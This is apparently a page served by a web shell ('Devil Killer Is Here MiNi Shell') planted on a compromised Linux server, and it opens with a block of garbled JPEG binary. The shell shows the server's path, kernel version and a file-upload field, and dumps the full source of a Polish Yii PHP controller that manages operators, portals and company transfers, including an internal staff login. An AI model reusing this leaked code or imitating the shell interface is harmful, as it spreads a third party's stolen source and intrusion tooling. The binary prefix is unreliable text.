JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/controllers/CompaniessettingsController.php

<?php

namespace backend\controllers;

use Yii;
use yii\helpers\ArrayHelper;
use common\models\Companies;
use common\models\Users;
use common\models\Portals;
use common\models\types\UserProfile;
use common\models\types\Status;
use common\models\types\InvoiceStatus;
use backend\models\OperatorsHasCompanies;
use backend\models\SendRequestToDeleteCompanyForm;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\web\ForbiddenHttpException;
use yii\filters\AccessControl;

/**
 * CompaniessettingsController controller.
 */
class CompaniessettingsController extends Controller
{
    use \backend\components\traits\ControllerFunctions;
    
    public function actionOperators($id)
    {        
        $modelCompany = $this->findModelCompany($id);
        
        if(!Yii::$app->user->can('modifyCompaniesData')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $idOperator = Yii::$app->request->get('id_operator');
        if(!empty($idOperator)) {
            $modelOperator = \common\models\Users::findOne($idOperator);
            if(!$modelOperator) {
                Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można wykonać żądanej akcji.'));   
                return $this->redirect(['companies/operators']);
            }
        }
        
        $modelsOperatorsHasCompaniesTemp = OperatorsHasCompanies::find()->where(['id_company' => $modelCompany->id_company])->indexBy('id_user')->all(); 
        
        $operators = Users::find()
                ->select(['users.id_user', 'users.forename', 'users.surname', 'users.status', 'users.login', 'users_contact_data.data_value AS email'])
                ->join('INNER JOIN', 'users_contact_data', 'users_contact_data.id_user = users.id_user AND users_contact_data.data_type = \''.\common\models\types\ContactDataType::EMAIL.'\' AND users_contact_data.required = 1')
                ->where([
//                    'status' => Status::ACTIVE, 
                    'users.profile' => [UserProfile::EDITOR, UserProfile::MARKETER, UserProfile::MODERATOR, UserProfile::OPERATOR]
                ])
                ->orderBy('users.forename ASC, users.surname ASC')
                ->indexBy('id_user')
                ->asArray()
                ->all();
        
        foreach($operators as $key => $operator) {
            if($operator['status'] !== Status::ACTIVE && !isset($modelsOperatorsHasCompaniesTemp[$operator['id_user']])) {
                unset($operators[$key]);
            }
        }
        
        $operatorsList = ArrayHelper::map(
            $operators,
            'id_user', 
            function($item) { return $item['forename'].' '.$item['surname'].' ['.$item['login'].'] ('.$item['email'].')'; }
        );
        
        $modelsOperatorsHasCompanies = [];
        foreach($operatorsList as $idOperator => $operatorLabel) {
            if(!isset($modelsOperatorsHasCompaniesTemp[$idOperator])) {
                $modelsOperatorsHasCompanies[$idOperator] = new OperatorsHasCompanies(['scenario' => 'create']);
                $modelsOperatorsHasCompanies[$idOperator]->id_company = $modelCompany->id_company; 
                $modelsOperatorsHasCompanies[$idOperator]->id_user = $idOperator;                 
            }
            else {
                $modelsOperatorsHasCompanies[$idOperator] = $modelsOperatorsHasCompaniesTemp[$idOperator];
                $modelsOperatorsHasCompanies[$idOperator]->setScenario('update');
            }
        }
        unset($modelsOperatorsHasCompaniesTemp);
        
        $sourceOperatorsList = ArrayHelper::map(
            Users::find()
                ->select(['users.id_user', 'users.forename', 'users.surname', 'users.login', 'users_contact_data.data_value AS email'])
                ->join('INNER JOIN', 'operators_has_companies', 'operators_has_companies.id_user = users.id_user AND operators_has_companies.id_company = '.(int)$modelCompany->id_company)
                ->join('INNER JOIN', 'users_contact_data', 'users_contact_data.id_user = users.id_user AND users_contact_data.data_type = \''.\common\models\types\ContactDataType::EMAIL.'\' AND users_contact_data.required = 1')
                ->where([
//                    'status' => Status::ACTIVE, 
                    'users.profile' => [UserProfile::EDITOR, UserProfile::MARKETER, UserProfile::MODERATOR, UserProfile::OPERATOR]
                ])
                ->orderBy('users.forename ASC, users.surname ASC')
                ->indexBy('id_user')
                ->asArray()
                ->all(),
            'id_user', 
            function($item) { return $item['forename'].' '.$item['surname'].' ['.$item['login'].'] ('.$item['email'].')'; }
        );
                
        $outputParams = [
            'modelCompany' => $modelCompany,
            'operatorsList' => $operatorsList,
            'sourceOperatorsList' => $sourceOperatorsList,
            'modelsOperatorsHasCompanies' => $modelsOperatorsHasCompanies
        ];
        
        if (Yii::$app->request->isAjax && \yii\base\Model::loadMultiple($modelsOperatorsHasCompanies, Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validateMultiple($modelsOperatorsHasCompanies, ['id_user', 'id_company', 'listPortals']);
        }
        
        if(Yii::$app->request->getIsPost()) {  
//            var_dump($_POST); exit;
            if(!\yii\base\Model::loadMultiple($modelsOperatorsHasCompanies, Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->render('operators', $outputParams);
            }
            
            if(!\yii\base\Model::validateMultiple($modelsOperatorsHasCompanies)) {                    
                $errorsFromModelsOperatorsHasCompanies = [];
                foreach($modelsOperatorsHasCompanies as $key => $modelOperatorHasCompany) {
                    if($modelOperatorHasCompany->hasErrors()) {
                        foreach($modelOperatorHasCompany->getErrors() as $error) {
                            $errorsFromModelsOperatorsHasCompanies[] = $error;
                        }
                    }
                }
                Yii::$app->session->addFlash('error', $errorsFromModelsOperatorsHasCompanies);
                return $this->render('operators', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            foreach($modelsOperatorsHasCompanies as $key => $modelOperatorHasCompany) {
                if(intval($modelOperatorHasCompany->isSelected) === 1) {
                    //sprawdzamy jakie portale miał już wybrane, porównujemy z tymi wybranymi obecnie i uzupełniamy listę o brakujące
                    //wewnątrz metody beforeValidate() obiektu \backend\models\OperatorsHasCompanies
                    if($modelOperatorHasCompany->save() === false) {
                        $flag = false;
                        break;
                    }
                } elseif(!$modelOperatorHasCompany->isNewRecord) {
                    if($modelOperatorHasCompany->delete() === false) {
                        $flag = false;
                        break;
                    }
                }
            }
            
            if($flag) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['operators', 'id' => $modelCompany->id_company]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
            }
        }
        
        return $this->render('operators', $outputParams);
    }
    
    public function actionAssignedPortals($id) 
    {
        $modelCompany = $this->findModelCompany($id);
        
        if(!Yii::$app->user->can('modifyAssignedCompaniesBasicData', ['model' => $modelCompany])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $portalsList = ArrayHelper::map(Portals::find()->select(['id_portal', 'domain'])->where(['status' => Status::ACTIVE])->orderBy('domain')->asArray()->all(), 'id_portal', 'domain');
        $portalsListUnused = $portalsList;
        
        $modelsOperatorsHasCompaniesTemp = OperatorsHasCompanies::find()
                ->where(['id_company' => $modelCompany->id_company])
                ->indexBy('id_user')
                ->all(); 
        
        $operatorsList = ArrayHelper::map(
            Users::find()
                ->select(['users.id_user', 'users.forename', 'users.surname', 'users.login', 'users_contact_data.data_value AS email'])
                ->join('INNER JOIN', 'users_contact_data', 'users_contact_data.id_user = users.id_user AND users_contact_data.data_type = \''.\common\models\types\ContactDataType::EMAIL.'\' AND users_contact_data.required = 1')
                ->where([
                    'users.status' => Status::ACTIVE, 
                    'users.profile' => [UserProfile::EDITOR, UserProfile::MARKETER, UserProfile::MODERATOR, UserProfile::OPERATOR]
                ])
                ->orderBy('users.forename ASC, users.surname ASC')
                ->indexBy('id_user')
                ->asArray()
                ->all(),
            'id_user', 
            function($item) { return $item['forename'].' '.$item['surname'].' ['.$item['login'].'] ('.$item['email'].')'; }
        );
        
        $modelsOperatorsHasCompanies = [];
        foreach($operatorsList as $idOperator => $operatorLabel) {
            if(!isset($modelsOperatorsHasCompaniesTemp[$idOperator])) {
                $modelsOperatorsHasCompanies[$idOperator] = new OperatorsHasCompanies(['scenario' => 'create']);
                $modelsOperatorsHasCompanies[$idOperator]->id_company = $modelCompany->id_company; 
                $modelsOperatorsHasCompanies[$idOperator]->id_user = $idOperator; 
            }
            else {
                $modelsOperatorsHasCompanies[$idOperator] = $modelsOperatorsHasCompaniesTemp[$idOperator];
                $modelsOperatorsHasCompanies[$idOperator]->setScenario((Yii::$app->user->id === $idOperator) ? 'update' : 'update-only-portals');
            }
        }
        unset($modelsOperatorsHasCompaniesTemp);

        if(!empty($modelsOperatorsHasCompanies)) {
            foreach($modelsOperatorsHasCompanies as $modelOperatorHasCompany) {
                if(!empty($modelOperatorHasCompany->assigned_portals)) {                    
                    foreach($modelOperatorHasCompany->assigned_portals as $assignedPortal) {
                        $idPortal = intval($assignedPortal['id_portal']);
                        if(isset($portalsListUnused[$idPortal])) {
                            unset($portalsListUnused[$idPortal]);
                        }
                    }
                }
            }
        }
        
        if(!empty($modelsOperatorsHasCompanies)) {
            foreach($modelsOperatorsHasCompanies as $modelOperatorHasCompany) {
                $modelOperatorHasCompany->fillPortalsListSource($portalsListUnused, $portalsList);
            }
        }
        
        $outputParams = [
            'modelCompany' => $modelCompany,
            'modelsOperatorsHasCompanies' => $modelsOperatorsHasCompanies,
            'operatorsList' => $operatorsList
        ];
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && \yii\base\Model::loadMultiple($modelsOperatorsHasCompanies, Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validateMultiple($modelsOperatorsHasCompanies, ['id_user', 'id_company', 'listPortals']);
        }
        
        if(Yii::$app->request->getIsPost()) {  
            if(!\yii\base\Model::loadMultiple($modelsOperatorsHasCompanies, Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('assigned_portals', $outputParams);
            }
            
            if(!\yii\base\Model::validateMultiple($modelsOperatorsHasCompanies)) {                    
                $errorsFromModelsOperatorsHasCompanies = [];
                if(!empty($modelsOperatorsHasCompanies)) {
                    foreach($modelsOperatorsHasCompanies as $modelOperatorHasCompany) {
                        if($modelOperatorHasCompany->hasErrors()) {
                            foreach($modelOperatorHasCompany->getErrors() as $error) {
                                $errorsFromModelsOperatorsHasCompanies[] = $error;
                            }
                        }
                    }
                }
                
                Yii::$app->session->addFlash('error', $errorsFromModelsOperatorsHasCompanies);
                return $this->conditionalRender('assigned_portals', $outputParams);
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $flag = true;
            
            foreach($modelsOperatorsHasCompanies as $key => $modelOperatorHasCompany) {                
                if(intval($modelOperatorHasCompany->isSelected) === 1) {
                    //sprawdzamy jakie portale miał już wybrane, porównujemy z tymi wybranymi obecnie i uzupełniamy listę o brakujące
                    //wewnątrz metody beforeValidate() obiektu \backend\models\OperatorsHasCompanies
                    if($modelOperatorHasCompany->save() === false) {
                        $flag = false;
                        break;
                    }
                } else {
                    if($modelOperatorHasCompany->delete() === false) {
                        $flag = false;
                        break;
                    }
                }
            }
                      
            if ($flag) {
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.')); 
                return $this->redirect(['assigned-portals', 'id' => $modelCompany->id_company]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
            }
        }
        
        return $this->render('assigned_portals', $outputParams);
    }

    public function actionTransferCompany($id)
    {
        $modelCompany = $this->findModelCompany($id);
        
        if(!Yii::$app->request->getIsPost() || !($idOperator = Yii::$app->request->post('id_operator'))) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        if(!Yii::$app->user->can('modifyCompaniesData') && !Yii::$app->user->can('modifyAssignedCompaniesBasicData', ['model' => $modelCompany])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $idOperator = intval($idOperator);
        
        $orRequestFromOperator = !empty(Yii::$app->request->post('or_request_from_operator'));
        
        if(!empty(Yii::$app->request->post('id_source_operator'))) {
            $idSourceOperator = intval(Yii::$app->request->post('id_source_operator'));
            
            $orSourceOperatorExists = Users::find()
                ->select(['id_user'])
                ->where([
//                    'status' => Status::ACTIVE, 
                    'profile' => [UserProfile::EDITOR, UserProfile::MARKETER, UserProfile::MODERATOR, UserProfile::OPERATOR],
                    'id_user' => $idSourceOperator
                ])
                ->exists();
        
            if(!$orSourceOperatorExists) {
                throw new NotFoundHttpException('The requested page does not exist.');
            }
        } else {
            $idSourceOperator = Yii::$app->user->id;
        }        
        
        $orOperatorExists = $this->checkIfTargetOperatorExists($idOperator);
        if(!$orOperatorExists) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelOldOperatorHasCompany = \common\models\OperatorsHasCompanies::find()
                ->where([
                    'id_user' => $idSourceOperator,
                    'id_company' => $modelCompany->id_company
                ])
                ->one();
        
        $modelNewOperatorHasCompany = \common\models\OperatorsHasCompanies::find()
                ->where([
                    'id_user' => $idOperator,
                    'id_company' => $modelCompany->id_company
                ])
                ->one();
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $flag = true;
        
        $actualDatetime = date("Y-m-d H:i:s");
        
        if($modelNewOperatorHasCompany) {
            $modelNewOperatorHasCompany->setScenario('update');
            if(!empty($modelOldOperatorHasCompany->assigned_portals)) {
                $assignedPortals = $modelOldOperatorHasCompany->assigned_portals;
                foreach($assignedPortals as $key => $assignedPortal) {
                    $assignedPortals[$key]['created_at'] = $actualDatetime;
                }
                
                if(!empty($modelNewOperatorHasCompany->assigned_portals)) { 
                    foreach($modelNewOperatorHasCompany->assigned_portals as $newOperatorAssignedPortal) {
                        $orOmit = false;
                        foreach($assignedPortals as $key => $oldOperatorAssignedPortal) {
                            if(intval($oldOperatorAssignedPortal['id_portal']) === intval($newOperatorAssignedPortal['id_portal'])) {   
                                $assignedPortals[$key]['created_at'] = $newOperatorAssignedPortal['created_at'];
                                $orOmit = true;
                                break;
                            }
                        }
                        if(!$orOmit) {                            
                            $assignedPortals[] = $newOperatorAssignedPortal;
                        }
                    }
                }                
                $modelNewOperatorHasCompany->assigned_portals = $assignedPortals;
                
                $assignedEmails = !empty($modelOldOperatorHasCompany->assigned_emails) ? $modelOldOperatorHasCompany->assigned_emails->getValue() : [];
                if(!empty($modelNewOperatorHasCompany->assigned_emails)) { 
                    foreach($modelNewOperatorHasCompany->assigned_emails->getValue() as $assignedEmail) {
                        if(!in_array($assignedEmail, $assignedEmails)) {
                            $assignedEmails[] = $assignedEmail;
                        }
                    } 
                }
                $modelNewOperatorHasCompany->assigned_emails = $assignedEmails;
                
            }
            
            if(!$modelNewOperatorHasCompany->validate(['assigned_portals', 'assigned_emails']) || !$modelNewOperatorHasCompany->save(false)) {
                $flag = false;
            }
            if($flag && $modelOldOperatorHasCompany->delete() === false) {
                $flag = false;
            }
        } else {
            $assignedPortals = $modelOldOperatorHasCompany->assigned_portals;
            foreach($assignedPortals as $key => $assignedPortal) {
                $assignedPortals[$key]['created_at'] = $actualDatetime;
            }
            
            $modelOldOperatorHasCompany->setScenario('update');
            $modelOldOperatorHasCompany->id_user = $idOperator;
            $modelOldOperatorHasCompany->assigned_portals = $assignedPortals;
            
            if(!$modelOldOperatorHasCompany->validate()) {
                Yii::$app->session->addFlash('error', $modelOldOperatorHasCompany->getErrors());
                $transaction->rollBack();
                return $this->redirect(Yii::$app->request->getReferrer() ? Yii::$app->request->getReferrer() : ['assigned-portals', 'id' => $modelCompany->id_company]);
            }
            
            if(!$modelOldOperatorHasCompany->validate(['assigned_portals', 'assigned_emails']) || !$modelOldOperatorHasCompany->save(false)) {
                $flag = false;
            }
        }
        
        if($flag) {
            $modelOperator = Users::findOne($idOperator);
            
            $operatorEmail = $modelOperator->getContactData()
                ->select(['users_contact_data.data_value'])
                ->where([
                    'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL, 
                    'users_contact_data.required' => 1
                ])->scalar();

            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = 'layouts/main-html';      
            $mailer->textLayout = 'layouts/main-text'; 
            $viewFiles = [
                'html' => 'operator_request_for_assign_to_company_html',
                'text' => 'operator_request_for_assign_to_company_text'
            ];
            
            $portalsList = ArrayHelper::map(Portals::find()->select(['id_portal', 'domain'])->where(['status' => Status::ACTIVE])->asArray()->all(), 'id_portal', 'domain');
//            $idsPortalsForAssign = array_column(!empty($modelNewOperatorHasCompany) ? $modelNewOperatorHasCompany->assigned_portals : $modelOldOperatorHasCompany->assigned_portals, 'id_portal');
            $tempAssignedPortals = !empty($modelNewOperatorHasCompany) ? $modelNewOperatorHasCompany->assigned_portals : $modelOldOperatorHasCompany->assigned_portals;
            if(is_array($tempAssignedPortals) && !empty($tempAssignedPortals)) {
                $idsPortalsForAssign = array_column($tempAssignedPortals, 'id_portal');
            } else {
                $idsPortalsForAssign = [];
            }
            
            $viewParams = [
                'modelLoggedOperator' => Yii::$app->user->identity,
                'modelsRelationsWithOperators' => $modelCompany->getRelationsWithOperators()->with(['operator'])->all(),
                'portalsList' => $portalsList, 
                'modelCompany' => $modelCompany,
                'idsPortalsForAssign' => $idsPortalsForAssign,
                'orAddButton' => false,
            ];            
            
            if(Yii::$app->user->identity->profile !== UserProfile::MARKETER) {
                $subject = Yii::t('common-mails', 'Administrator przypisał operatora {operatorName} do firmy {companyName}', ['operatorName' => $modelOperator->forename.' '.$modelOperator->surname, 'companyName' => $modelCompany->name]);
            } else {
                $subject = Yii::t('common-mails', '{operatorName} przekazał Tobie firmę {companyName}', ['operatorName' => Yii::$app->user->identity->forename.' '.Yii::$app->user->identity->surname, 'companyName' => $modelCompany->name]);
            }            

            if(!empty($operatorEmail)) {
//                var_dump('wysylamy maila do operatora docelowego: '.$subject);
                //wysyłamy email z informacją o przekazaniu firmy do nowego operatora (###MAIL_XXX###) 
                $flag = $flag && $mailer->compose($viewFiles, array_merge($viewParams, ['annotations' => Yii::$app->user->identity->profile !== UserProfile::MARKETER ? 'Administrator przypisał Ciebie do firmy.' : Yii::$app->user->identity->forename.' '.Yii::$app->user->identity->surname.' przekazał Ci firmę.']))
                                ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                                ->setTo($operatorEmail)
                                ->setSubject($subject)
                                ->send();
            }

            if($flag && $orRequestFromOperator) {
                $lukaszEmail = \common\models\Users::find()
                    ->select(['users_contact_data.data_value'])
                    ->join('INNER JOIN', 'users_contact_data', 'users.id_user = users_contact_data.id_user')
                    ->where([
                        'users_contact_data.data_type' => \common\models\types\ContactDataType::EMAIL, 
                        'users_contact_data.required' => 1,
                        'users.login' => 'vm_lukasz'
                    ])
                    ->scalar(); 
                if(!empty($lukaszEmail)) {
//                    var_dump('wysylamy maila do Lukasza: '.$subject);
                    //wysyłamy email z prośbą o przypisanie firmy do Łukasza (###MAIL_XXX###) 
                    $flag = $flag && $mailer->compose($viewFiles, array_merge($viewParams, ['annotations' => 'Przypisałeś operatora do firmy.']))
                                ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                                ->setTo($lukaszEmail)
                                ->setReplyTo([$operatorEmail => Yii::$app->user->identity->forename.' '.Yii::$app->user->identity->surname])
                                ->setSubject($subject)
                                ->send();
                } 
            }        
                    
            if($flag) {
                $modelCase = new \common\models\CompaniesCases(['scenario' => 'create']);
                $modelCase->id_company = $modelCompany->id_company;
                $modelCase->id_user = Yii::$app->user->id;
                if(Yii::$app->user->identity->profile !== UserProfile::MARKETER) {
                    $modelCase->subject = 'Informacja systemowa: Administrator przypisał firmę do '.$modelOperator->forename.' '.$modelOperator->surname.' dnia '.date('d-m-Y, H:i');
                } else {
                    $modelCase->subject = 'Informacja systemowa: '.Yii::$app->user->identity->forename.' '.Yii::$app->user->identity->surname.' przypisał firmę do '.$modelOperator->forename.' '.$modelOperator->surname.' dnia '.date('d-m-Y, H:i');
                }
                $modelCase->status = \common\models\types\CompanyCaseStatus::CLOSED;
                $flag = $modelCase->save();
            }

            if($flag) {
                $modelEntry = new \common\models\CompaniesCasesEntries(['scenario' => 'create']);
                $modelEntry->id_case = $modelCase->id_case;
                $modelEntry->id_user = Yii::$app->user->id;
                if(Yii::$app->user->identity->profile !== UserProfile::MARKETER) {
                    $modelEntry->content = 'Administrator przypisał firmę do '.$modelOperator->forename.' '.$modelOperator->surname.' dnia '.date('d-m-Y, H:i').".\r\n".'Portal: '.implode(', ', array_map(function($idPortal) use ($portalsList) { return $portalsList[$idPortal]; }, $idsPortalsForAssign));
                } else {
                    $modelEntry->content = Yii::$app->user->identity->forename.' '.Yii::$app->user->identity->surname.' przypisał firmę do '.$modelOperator->forename.' '.$modelOperator->surname.' dnia '.date('d-m-Y, H:i').".\r\n".'Portal: '.implode(', ', array_map(function($idPortal) use ($portalsList) { return $portalsList[$idPortal]; }, $idsPortalsForAssign));
                }
                $modelEntry->contact_term = date('Y-m-d H:i');
                $modelEntry->priority = \common\models\types\CompanyCasePriority::NORMAL;
                $modelEntry->or_handled = 1;
                $flag = $modelEntry->save();
            }
        }
        
        $operatorsLogins = $this->getOperatorsLogins();
        
        $flag = $flag && $this->transferCompaniesCasesWithEntries($modelCompany->id_company, $idOperator, $operatorsLogins, $idSourceOperator);
        
        //przepisać zamówienia nowe oraz ich elementy
        $flag = $flag && $this->transferCompaniesOrders($modelCompany->id_company, $idOperator, $idSourceOperator);
        
        //przepisać rezerwacje mailingów
        $flag = $flag && $this->transferMailingsReservations($modelCompany->id_company, $idOperator, $idSourceOperator);
        
        //przepisać zamówienia archiwalne
        $flag = $flag && $this->transferCompanyOrdersArchive($modelCompany->id_company, $idOperator, $idSourceOperator);
        
        if($flag) {
//            $transaction->rollBack();
//            var_dump('udalo sie'); exit;
            $transaction->commit();
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));   
            
            //@todo dopisać generowanie powiadomień odnośnie przeniesienia firmy
            
            return $this->redirect(['companies/index']);
        } else {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));    
            return $this->redirect(Yii::$app->request->getReferrer() ? Yii::$app->request->getReferrer() : ['assigned-portals', 'id' => $modelCompany->id_company]);            
        }
        
    }
    
//    public function actionTransferCompanies()
//    {
//        if(!Yii::$app->user->can('modifyCompaniesData')) {
//            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
//        }
//        
//        $sql = "SELECT operators_has_companies.id_company AS id from operators_has_companies
//        INNER JOIN companies ON companies.id_company = operators_has_companies.id_company
//        WHERE operators_has_companies.id_user = 160
//        AND operators_has_companies.assigned_portals::jsonb @> '[{\"id_portal\": 16}]'
//        AND companies.usage_status = 'wykorzystana' LIMIT 30";
//        $idsCompanies = Yii::$app->db->createCommand($sql)->queryColumn();
//
//        $idSourceOperator = 160;
//        $idOperator = 143;
//        foreach($idsCompanies as $id) {
//            $modelCompany = $this->findModelCompany($id); 
//
//            $modelOldOperatorHasCompany = \common\models\OperatorsHasCompanies::find()
//                    ->where([
//                        'id_user' => $idSourceOperator,
//                        'id_company' => $modelCompany->id_company
//                    ])
//                    ->one();
//
//            $modelNewOperatorHasCompany = \common\models\OperatorsHasCompanies::find()
//                    ->where([
//                        'id_user' => $idOperator,
//                        'id_company' => $modelCompany->id_company
//                    ])
//                    ->one();
//
//            $transaction = Yii::$app->db->beginTransaction();
//
//            $flag = true;
//
//            if($modelNewOperatorHasCompany) {
//                $modelNewOperatorHasCompany->setScenario('update');
//                if(!empty($modelOldOperatorHasCompany->assigned_portals)) {
//                    $assignedPortals = $modelOldOperatorHasCompany->assigned_portals;
//
//                    if(!empty($modelNewOperatorHasCompany->assigned_portals)) { 
//                        foreach($modelNewOperatorHasCompany->assigned_portals as $newOperatorAssignedPortal) {
//                            $orOmit = false;
//                            foreach($modelOldOperatorHasCompany->assigned_portals as $oldOperatorAssignedPortal) {
//                                if(intval($oldOperatorAssignedPortal['id_portal']) === intval($newOperatorAssignedPortal['id_portal'])) {
//                                    $orOmit = true;
//                                    break;
//                                }
//                            }
//                            if(!$orOmit) {
